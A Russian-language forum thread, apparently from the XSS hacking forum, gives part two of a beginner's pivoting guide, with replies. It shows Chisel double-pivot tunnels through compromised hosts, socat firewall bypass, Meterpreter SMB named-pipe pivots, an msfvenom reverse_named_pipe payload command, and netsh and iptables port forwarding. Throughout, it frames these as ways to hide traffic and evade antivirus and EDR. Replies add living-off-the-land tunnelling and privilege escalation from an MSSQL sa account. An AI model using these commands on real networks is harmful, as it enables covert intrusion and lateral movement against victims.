• XSS.stack #1 – первый литературный журнал от юзеров форума

Pivoting Развёрнутый гайд по Pivoting для новичков(Часть 2-ая)

Эрмано

(L3) cache
Пользователь
Регистрация
28.08.2024
Сообщения
261
Решения
1
Реакции
182
Написал: Эрмано
Специально для xss.pro

В этой части - заключительной(?), мы рассмотрим то, о чём я хотел расказать, но не смог в первой части, а именно:
  • Практика Pivoting(Double Pivoting)
  • SMB Named Pipes
  • Firewall
  • Заключение
Кейс из этой статьи:
1730900482700.png


Чтобы добиться такого результата, я чуть-чуть похимичил с iptables и настроил всё так, что я не могу дотянуться до Windows машины, но могу до Linux.
Теперь, мы можем начинать.

Практика Pivoting
Тут я расскажу, про такую вещь, как Double Pivoting, и покажу кое что интересное.

Double Pivoting
Для начала мы представим, что уже имеем доступ до 2-х хостов, но только один(Windows), может дотянуться до нужного нам Linux хоста во второй подсети, значит, для того, чтобы добраться до нужного хоста мы можем:
  • Выстроить туннель
  • Использовать методы VPN
Я рассмотрю метод с выстраиванием туннеля и для него, мне понадобится Chisel(вообще метод с ним я нашёл тут, потому что я бы использовал Ligolo, но никогда не знаешь, какое знание пригодится).
Так как мы не можем подключать 2 хоста к одному порту(при использовании Chisel), мы должны либо - открывать новый порт сервера, либо выстроить туннель(зачейнить) из пивотов.
Но для начала я расскажу про стандартный пивотинг с помощью Chisel
Собственно как это делается:

Для начала мы запустим сервер на локальной машине
1730901819710.png


После запускаем клиент на взломанной машине(первый Linux хост):
1730902491757.png


Далее добавляем socks5 127.0.0.1 1080 в /etc/proxychains4.conf

1730902794030.png

Успешным скан nmap'ом, говорит нам о том, что всё получилось.

Теперь мы нафантазируем себе, что уже взломали Windows и имеем на ней шелл:
1730904301427.png


После мы воспользуемся взломанным Linux хостом, как клиентом и сервером, одновременно, а на Windows машине мы запустим клиент, который подключится к линукс хосту(серверу 2):

1730904391145.png
Client & Server

1730904946456.png
На Windows хосте(тут 10.0.2.5 - IP сервера 2)

1730904976523.png
Подключение

Добавляем socks5 127.0.0.1:2080 в наш /etc/proxychains.conf и проверяем - имеем ли мы доступ до целевой Linux машины(который должны иметь):
1730905147743.png


1730905219895.png

Всё получилось! Мы успешно построили туннель из двух скомпроментированных хостов.

Обход файрволов
Данную технику я увидел в этой статье, и она меня очень заинтересовала, заключается она в том, что:
Никакой reverse shell или SSH-туннели нам тут не помогут. В качестве альтернативы можно организовать доступ на «третий» хост из другого VLAN, на который оба могут инициировать TCP-соединение.
Выглядит это так:

1730905407765.jpeg


Мы моем использовать socat, чтобы обойти блокировку:
Код:
third$> socat tcp-listen:5555 tcp-listen:6666
victim$> socat tcp-connecthird:6666 tcp-connectarget:22
1730906089562.jpeg


Важно инициировать первое подключение к 5555/tcp, поскольку socat выполняет вторую половину операций с сокетами (tcp-listen:6666) после установки соединения tcp-listen:5555. В итоге получается, что два входящих соединения связываются через pipe, и через этот pipe может пойти трафик в обход сразу двух файрволов или NAT.

Схема обхода файрволов и NAT

В результате мы получили доступ к порту 22 на машину target, которая пряталась за файрволом.
На этом, я закончу этот раздел и перейду к разделу - SMB Named Pipes

Именнованые каналы SMB
Данная техника используется больше для скрытия нашего траффика в сети заказчика(или недруга).
Вообще зачем это нужно: в то время, как HTTP(S) соединение может быть замечено - SMB нет, потому что в сети, между компьютерами итак очень много SMB соединений(что делает нас незаметнее).
Данная функция ранее существовала, только в Cobalt Strike, однако потом появилась в Metasploit Framework и в Havoc. Также хочу заметить, что это работает только на Windows(и иногда на Linux) хостах.

Metasploit
В нём мы просто добавляем пайп в уже открытой сессии meterpreter, командой - pivot add -t pipe -l 10.0.2.6 -n msfpipe -a x64 -p windows
Здесь:
-t - тип пивота
-l - скомпроментированный хост
-n - имя пайпа
-a - архитектура
-p - платформа

1730908187304.png


Также вы можете создать reverse_named_pipe нагрузку с помощью MSFvenom - msfvenom -p windows/meterpreter/reverse_named_pipe PIPEHOST=172.16.16.19 PIPENAME=bgpipe -f exe -o pipe.exe

Про Havoc и Cobalt Strike, я не вижу смысла рассказывать, потому что там вы просто должны сгенерировать SMB Beacon.

Firewall
Тут я расскажу про Pivoting с такими файрволами, как iptables и netsh

Netsh(Источник)
Вы когда-нибудь хотели направить трафик через взломанный хост Windows без необходимости устанавливать сеанс Meterpreter или загружать файлы, которые могут быть отмечены защитой конечной точки? netsh interface portproxy встроен прямо в Windows и имеет все необходимое для создания точки поворота. Он работает, направляя входящий трафик с указанного хоста:порта на конечный хост:порт. Очень просто, и очень эффективно.
Делается это так:

Код:
C:\>netsh interface portproxy add v4tov4 listenport=<lport>
listenaddress=<lhost> connectport=<rport> connectaddress=<rhost>

<lport> - локальный порт для прослушивания
<lhost> - локальный хост
<rport> - удалённый порт
<rhost> - удалённый хост

Например

Код:
C:\>netsh interface portproxy add v4tov4 listenport=1122
listenaddress=0.0.0.0 connectport=8080 connectaddress=10.0.2.6

Это позволит локально привязать 0.0.0.0 (все сетевые интерфейсы) к 1194/tcp и направить входящие соединения на удаленный хост 10.10.10.20:8080. Этот конкретный пример можно использовать для доступа к веб-приложению, которое находится за ограничительным брандмауэром.
Также есть официальная дока от Microsoft.

IPTABLES(Источник)
Чтобы пробросить порт с помощью iptables мы должны прописать правило на перенаправление входящего трафика, на адрес другой машины:

Код:
sudo iptables -t nat -A PREROUTING -i ens5 -p tcp --dport 80 -j DNAT --to-destination 187.205.169.158:80
sudo iptables -t nat -A POSTROUTING -j MASQUERADE

Сначала мы прописываем правило перенаправления входящего трафика на TCP порт 80, на порт 80 машины с IP - 187.205.169.158.
Вторая строка обеспечивает маскировку исходных IP-адресов для соответствия исходящему трафику.

Также я привёл список статей, которые помогут вам лучше разобраться в пивотинге:

Заключение
Это была 2-я и заключительная(?) статья по гайду на Pivoting, надеюсь, обе статьи принесли вам пользу и вы чему то научились. Всем спасибо за внимание, и до скорых встреч!

P.S. Если что упустил/не так написал - поправьте(только без негатива).
 

Вложения

  • 1730901004861.png
    1730901004861.png
    49.5 КБ · Просмотры: 7
  • 1730901603806.png
    1730901603806.png
    14.6 КБ · Просмотры: 9
Последнее редактирование:
Это не развернутый гайд, это очень простой пример на базе chisel и meterpreter. Двойной, тройной и более повороты ситуативная вещь. Есть зависимости от того какие у нас права и есть ли средства защиты на атакуемых целях. Например ты получил шелл на веб-сервере линукс, где 99% нет AV.
В таком случае все банально просто, загружаем любой софт и вперед. Но есть и другой подход.

1) Если есть кредсы к SSH тогда можно пробросить тунель, если нет кредсов тогда можно пробросить обратный тунель клиентом SSH подключившись к нашей kali или же любому промежуточному подконторльному нами VPS.
Такой метод называется "LOTL - Living off the Land" мы не загружаем никакой софт, лишний риск быть обнаруженым промежуточными сканерами/AV/IDS/Firewall/EDR.
2) Если сервер был порутан мы можем настроить проброс через iptables, firewalld
3) Установить VPN

Такая же ситуация и с Windows серверами, например ты нашел sql инжект в MSSQL и там пользователь БД sa. Это значит у нас есть SeImpersonatePrivilege и если нет AV мы супер легко и непринужденно получаем SYSTEM и опять же загружаем любой софт, но если есть AV нам нужна техника LOTL и т.к. в современной винде ssh.exe уже включен в дистрибутив (но не всегда) мы бросаем порты обратными конектами с винды и прочими хитрыми способами.
Если мы SYSTEM/Administrator мы так же можем настроить netsh advfirewall но что делать если есть AV и мы пользователь с низкими привилегиями? Софт не загрузить, ssh.exe нет. В общем эту тему можно развить до 100 страниц и написать книгу только по одним лишь поворотам. Твоя статья это верхушка айсберга а не "развернутый гайд". Занимайся)
 
Это не развернутый гайд, это очень простой пример на базе chisel и meterpreter. Двойной, тройной и более повороты ситуативная вещь. Есть зависимости от того какие у нас права и есть ли средства защиты на атакуемых целях. Например ты получил шелл на веб-сервере линукс, где 99% нет AV.
В таком случае все банально просто, загружаем любой софт и вперед. Но есть и другой подход.

1) Если есть кредсы к SSH тогда можно пробросить тунель, если нет кредсов тогда можно пробросить обратный тунель клиентом SSH подключившись к нашей kali или же любому промежуточному подконторльному нами VPS.
Такой метод называется "LOTL - Living off the Land" мы не загружаем никакой софт, лишний риск быть обнаруженым промежуточными сканерами/AV/IDS/Firewall/EDR.
2) Если сервер был порутан мы можем настроить проброс через iptables, firewalld
3) Установить VPN

Такая же ситуация и с Windows серверами, например ты нашел sql инжект в MSSQL и там пользователь БД sa. Это значит у нас есть SeImpersonatePrivilege и если нет AV мы супер легко и непринужденно получаем SYSTEM и опять же загружаем любой софт, но если есть AV нам нужна техника LOTL и т.к. в современной винде ssh.exe уже включен в дистрибутив (но не всегда) мы бросаем порты обратными конектами с винды и прочими хитрыми способами.
Если мы SYSTEM/Administrator мы так же можем настроить netsh advfirewall но что делать если есть AV и мы пользователь с низкими привилегиями? Софт не загрузить, ssh.exe нет. В общем эту тему можно развить до 100 страниц и написать книгу только по одним лишь поворотам. Твоя статья это верхушка айсберга а не "развернутый гайд". Занимайся)
Я про SSH в первой части рассказывал, а развёрнутый, потому что в первой части такое же название было, тут я просто дописал то, что не смог в той части, про файрволы, я решил особо не морочиться, так как пишу для новичков, про верхушку да, но посмотри на название - "Гайд", я рассказываю как делать, а не вдаюсь в тему глубоко, если есть пожелания, напиши, я поищу статьи/сам напишу статью, где разберу уже экзотические/какие то глубокие вещи =)
 
Если мы SYSTEM/Administrator мы так же можем настроить netsh advfirewall но что делать если есть AV и мы пользователь с низкими привилегиями?
Про файрволы, так и быть допишу(если найду инфу)
 


Напишите ответ...
  • Вставить:
Прикрепить файлы
Верх